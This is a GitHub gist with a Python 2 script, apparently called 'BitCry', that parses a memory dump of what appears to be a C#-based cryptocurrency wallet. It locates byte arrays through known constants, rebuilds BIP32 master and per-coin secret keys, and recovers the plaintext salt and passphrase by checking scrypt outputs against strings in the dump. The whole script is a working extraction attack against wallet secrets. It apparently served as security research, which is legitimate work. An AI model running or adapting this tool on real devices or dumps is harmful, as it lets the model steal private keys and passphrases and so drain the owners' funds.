Skip to content

Instantly share code, notes, and snippets.

@ryancdotorg
Created August 8, 2025 19:50
Show Gist options
  • Save ryancdotorg/278dd8d696a3d01761f30410d7d42bb5 to your computer and use it in GitHub Desktop.
Save ryancdotorg/278dd8d696a3d01761f30410d7d42bb5 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
import os
import sys
import gzip
import itertools
from struct import pack, pack_into, unpack, unpack_from, calcsize
from binascii import hexlify, unhexlify
from subprocess import Popen, PIPE
import hmac
import hashlib
import scrypt
from pybitcointools import *
## CONSTANTS FOUND IN MANY DUMPS
BASE_POINT = unhexlify("0479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f"+
"2815b16f81798483ada7726a3c4655da4fbfc0e1108a8fd17b448"+
"a68554199c47d08ffb10d4b8")
ALERT_KEY = unhexlify("04fc9702847840aaf195de8442ebecedf5b095cdbb9bc716bda91"+
"10971b28a49e0ead8564ff0db22209e0374782c093bb899692d52"+
"4e9d6a6956e7c5ecbcd68284")
HEX_DIGITS = "0123456789abcdef"
BECH_CHARS = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
SIG_MAGIC = "Bitcoin Signed Message:\n"
ZEROS = bytes('\0'*32)
COINS = ['btc', 'ltc', 'xmr', 'eth', 'neo']
STRINGSCAN = "(strings -n 8 -e s _|strings -n 8 -e l _)"
class MemoryFragment:
def __init__(self, buf, offset, size, kind=None, meta=None, desc=None):
self._buf = buf
self.off = offset
self.size = size
self.type = kind
self.meta = meta
self.desc = desc
@property
def data(self):
return bytes(self._buf[self.off:self.off+self.size])
def __str__(self):
if self.meta:
s = '[%08x] %3d@%08x' % (self.meta, self.size, self.off)
else:
s = '[_string_] %3d@%08x' % (self.size, self.off)
return s
def str_frag(s, desc):
buf = bytearray(s)
def is_ascii(s): return all(ord(c) < 128 and ord(c) >= 32 for c in s)
def ci(s): return int(''.join([str(ord(c)&31) for c in s])) | 0x80000000
def coin_keys(msk, mcc, coin):
master_key = bip32_serialize((PRIVATE, 0, b'\0'*4, 0, mcc, msk+b'\1'))
parts = bip32_deserialize(bip32_ckd(master_key, ci(coin)))
return (parts[5][0:32], parts[4])
if __name__ == '__main__':
if len(sys.argv) < 2:
print 'need a filename'
sys.exit(0)
print 'Welcome to BitCry - Powered by John McAfee\'s drug-laced tears!'
if sys.argv[1].endswith('.gz'):
f = gzip.open(sys.argv[1], 'rb')
else:
f = open(sys.argv[1], 'rb')
print 'Gassing the ramen...'
# 1GiB ought to be enough for anyone
mem = bytearray(1024*1024*1024)
print 'Reading memory dump...'
offset = 0
while True:
buf = f.read(1024*1024*128)
if len(buf) <= 0:
break
mem[offset:] = buf
offset += len(buf)
print '%4dMiB' % (offset/(1024*1024))
f.close()
dump_size = offset
fragments = []
print 'Scanning for potential C# byte array objects...'
byte_array_meta = set()
o = 0
while o < dump_size:
if o > 0 and o & 0x7ffffff == 0:
print '%4dMiB' % (o/(1024*1024))
try:
if o & 7 == 0:
(m, z0, z1, s) = unpack_from('<IIII', mem, o)
if z0 == 0 and z1 == 0 and m >= 0x80000000 and s >= 8 and s <= 65535:
frag = MemoryFragment(buf=mem, offset=o+16, size=s, meta=m)
if s <= 65 and frag.data in (BASE_POINT, ALERT_KEY, BECH_CHARS, SIG_MAGIC):
byte_array_meta.add(m)
#print frag
fragments.append(frag)
o += 16
continue
except:
break
o += 8
print 'Using discovered constants to prune possible C# byte arrays...'
byte_arrays = [ x for x in fragments if x.meta in byte_array_meta ]
set_32 = [ x for x in byte_arrays if x.size == 32 ]
set_64 = [ x for x in byte_arrays if x.size == 64 ]
print '32 byte arrays %d, %d unique' % (len(set_32),
len(set([x.data for x in set_32])))
print '64 byte arrays %d, %d unique' % (len(set_64),
len(set([x.data for x in set_64])))
print 'Looking for scrypt and/or sha512 output...'
cand_scrypt_a = set()
cand_scrypt_b = set()
for a in set_32:
a_data = a.data
for b in set_64:
if a_data == b.data[0:32]:
cand_scrypt_a.add(b)
elif a_data == b.data[32:64]:
cand_scrypt_b.add(b)
cand_scrypt = cand_scrypt_a | cand_scrypt_b
cand_scrypt = set(set_64)
if len(cand_scrypt) > 0:
print 'Found potential scrypt output, trying to confirm via master key data...'
for frag_scrypt in cand_scrypt:
data_scrypt = frag_scrypt.data
for frag_salt in set_32:
param = hmac.new(frag_salt.data, data_scrypt, hashlib.sha512).digest()
for x in set_64:
if x.data == param:
frag_scrypt.desc = 'scrypt(...)'
frag_salt.desc = 'sha256(salt)'
x.desc = 'master secret key + chain code'
(scrypt_a, scrypt_b) = (data_scrypt[0:32], data_scrypt[32:64])
for y in set_32:
if y.data == scrypt_a:
y.desc = 'scrypt(...)[0:32]'
elif y.data == scrypt_b:
y.desc = 'scrypt(...)[32:64]'
(msk, mcc) = (param[0:32], param[32:64])
for x in set_32:
if x.data == msk:
frag_scrypt.desc = 'scrypt(...)'
frag_salt.desc = 'sha256(salt)'
x.desc = 'master secret key'
if x.data == mcc:
frag_scrypt.desc = 'scrypt(...)'
frag_salt.desc = 'sha256(salt)'
x.desc = 'master chain code'
print 'Found potential sha512 output, trying to confirm via coin key data...'
for frag_sha512 in cand_scrypt:
data_sha512 = frag_sha512.data
for coin in COINS:
(msk, mcc) = (data_sha512[0:32], data_sha512[32:64])
if msk == ZEROS:
continue
(csk, ccc) = coin_keys(data_sha512[0:32], data_sha512[32:64], coin)
for frag_coin in set_32:
if frag_coin.data == csk:
frag_coin.desc = coin + ' secret key'
frag_sha512.desc = 'master secret key + chain code'
elif frag_coin.data == ccc:
frag_coin.desc = coin + ' chain code'
frag_sha512.desc = 'master secret key + chain code'
found_salt = False
found_pass = False
print 'Looking for plaintext salt...'
for frag in byte_arrays:
if is_ascii(frag.data) and frag.size >= 8:
sha256 = hashlib.sha256(frag.data).digest()
for check in byte_arrays:
if check.size == 32 and sha256 == check.data:
check.desc = 'sha256(salt)'
frag.desc = 'plaintext salt'
found_salt = True
strings_wide_list = None
strings_byte_list = None
if not found_salt:
print 'Running deeper scan (wide strings)...'
proc = Popen(['strings', '-n', '8', '-e', 'l', sys.argv[1]], stdout=PIPE)
strings_out = proc.communicate()
strings_wide_list = strings_out[0].split('\n')
for s in list(set(strings_wide_list)):
sha256 = hashlib.sha256(s).digest()
for check in byte_arrays:
if check.size == 32 and check.desc == 'sha256(salt)' and sha256 == check.data:
frag = MemoryFragment(bytearray(s), 0, len(s), desc='plaintext salt')
byte_arrays.append(frag)
print 'Probable salt: %s' % s
found_salt = True
print 'Running deeper scan (byte strings)...'
proc = Popen(['strings', '-n', '8', '-e', 's', sys.argv[1]], stdout=PIPE)
strings_out = proc.communicate()
strings_byte_list = strings_out[0].split('\n')
for s in list(set(strings_byte_list)):
sha256 = hashlib.sha256(s).digest()
for check in byte_arrays:
if check.size == 32 and check.desc == 'sha256(salt)' and sha256 == check.data:
frag = MemoryFragment(bytearray(s), 0, len(s), desc='plaintext salt')
byte_arrays.append(frag)
print 'Probable salt: %s' % s
found_salt = True
print 'Looking for plaintext passphrase...'
for frag in byte_arrays:
if frag.data == BECH_CHARS:
continue
if is_ascii(frag.data) and frag.size >= 30 and frag.size < 300:
for salt in list(set([ x.data for x in byte_arrays if x.desc == 'plaintext salt' ])):
print 'Running scrypt("%s", "%s")' % (frag.data, salt)
_scrypt = scrypt.hash(frag.data, salt, N=32768, p=4, r=8, buflen=64)
for check in byte_arrays:
if check.size == 64 and check.data == _scrypt:
check.desc = 'scrypt(...)'
frag.desc = 'plaintext passphrase'
print 'Scrypt result validated.'
found_pass = True
if found_salt and not found_pass:
if not strings_wide_list:
print 'Running deeper scan (wide strings)...'
proc = Popen(['strings', '-n', '8', '-e', 'l', sys.argv[1]], stdout=PIPE)
strings_out = proc.communicate()
strings_wide_list = strings_out[0].split('\n')
if not strings_byte_list:
print 'Running deeper scan (byte strings)...'
proc = Popen(['strings', '-n', '8', '-e', 's', sys.argv[1]], stdout=PIPE)
strings_out = proc.communicate()
strings_byte_list = strings_out[0].split('\n')
salts = list(set([ x.data for x in byte_arrays if x.desc == 'plaintext salt' ]))
print 'Looking for plaintext passphrase (wide string)...'
for i in xrange(1, len(strings_wide_list)-1):
for salt in salts:
if salt == strings_wide_list[i]:
try:
maybe_pass = strings_wide_list[i-1]
if len(maybe_pass) >= 30:
print 'Running scrypt("%s", "%s")' % (maybe_pass, salt)
_scrypt = scrypt.hash(maybe_pass, salt, N=32768, p=4, r=8, buflen=64)
for check in byte_arrays:
if check.size == 64 and check.data == _scrypt:
check.desc = 'scrypt(...)'
frag = MemoryFragment(bytearray(maybe_pass), 0, len(maybe_pass), desc='plaintext passphrase')
byte_arrays.append(frag)
frag.desc = 'plaintext passphrase'
print 'Scrypt result validated.'
found_pass = True
maybe_pass = strings_wide_list[i+1]
if len(maybe_pass) >= 30:
print 'Running scrypt("%s", "%s")' % (maybe_pass, salt)
_scrypt = scrypt.hash(maybe_pass, salt, N=32768, p=4, r=8, buflen=64)
for check in byte_arrays:
if check.size == 64 and check.data == _scrypt:
check.desc = 'scrypt(...)'
frag = MemoryFragment(bytearray(maybe_pass), 0, len(maybe_pass), desc='plaintext passphrase')
byte_arrays.append(frag)
frag.desc = 'plaintext passphrase'
print 'Scrypt result validated.'
found_pass = True
except:
pass
print 'Looking for plaintext passphrase (byte string)...'
for i in xrange(1, len(strings_byte_list)-1):
for salt in salts:
if salt == strings_byte_list[i]:
try:
maybe_pass = strings_byte_list[i-1]
if len(maybe_pass) >= 30:
print 'Running scrypt("%s", "%s")' % (maybe_pass, salt)
_scrypt = scrypt.hash(maybe_pass, salt, N=32768, p=4, r=8, buflen=64)
for check in byte_arrays:
if check.size == 64 and check.data == _scrypt:
check.desc = 'scrypt(...)'
frag = MemoryFragment(bytearray(maybe_pass), 0, len(maybe_pass), desc='plaintext passphrase')
byte_arrays.append(frag)
frag.desc = 'plaintext passphrase'
print 'Scrypt result validated.'
found_pass = True
maybe_pass = strings_byte_list[i+1]
if len(maybe_pass) >= 30:
print 'Running scrypt("%s", "%s")' % (maybe_pass, salt)
_scrypt = scrypt.hash(maybe_pass, salt, N=32768, p=4, r=8, buflen=64)
for check in byte_arrays:
if check.size == 64 and check.data == _scrypt:
check.desc = 'scrypt(...)'
frag = MemoryFragment(bytearray(maybe_pass), 0, len(maybe_pass), desc='plaintext passphrase')
byte_arrays.append(frag)
frag.desc = 'plaintext passphrase'
print 'Scrypt result validated.'
found_pass = True
except:
pass
interesting = [ x for x in byte_arrays if x.desc]
interesting.sort(key=lambda x: x.desc)
last_desc = None
for frag in interesting:
if frag.desc != last_desc:
print frag.desc
last_desc = frag.desc
if frag.desc.startswith('plaintext'):
print str(frag) + ' ' + str(frag.data)
else:
print str(frag) + ' ' + hexlify(frag.data)
#for frag in byte_arrays:
# print frag
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment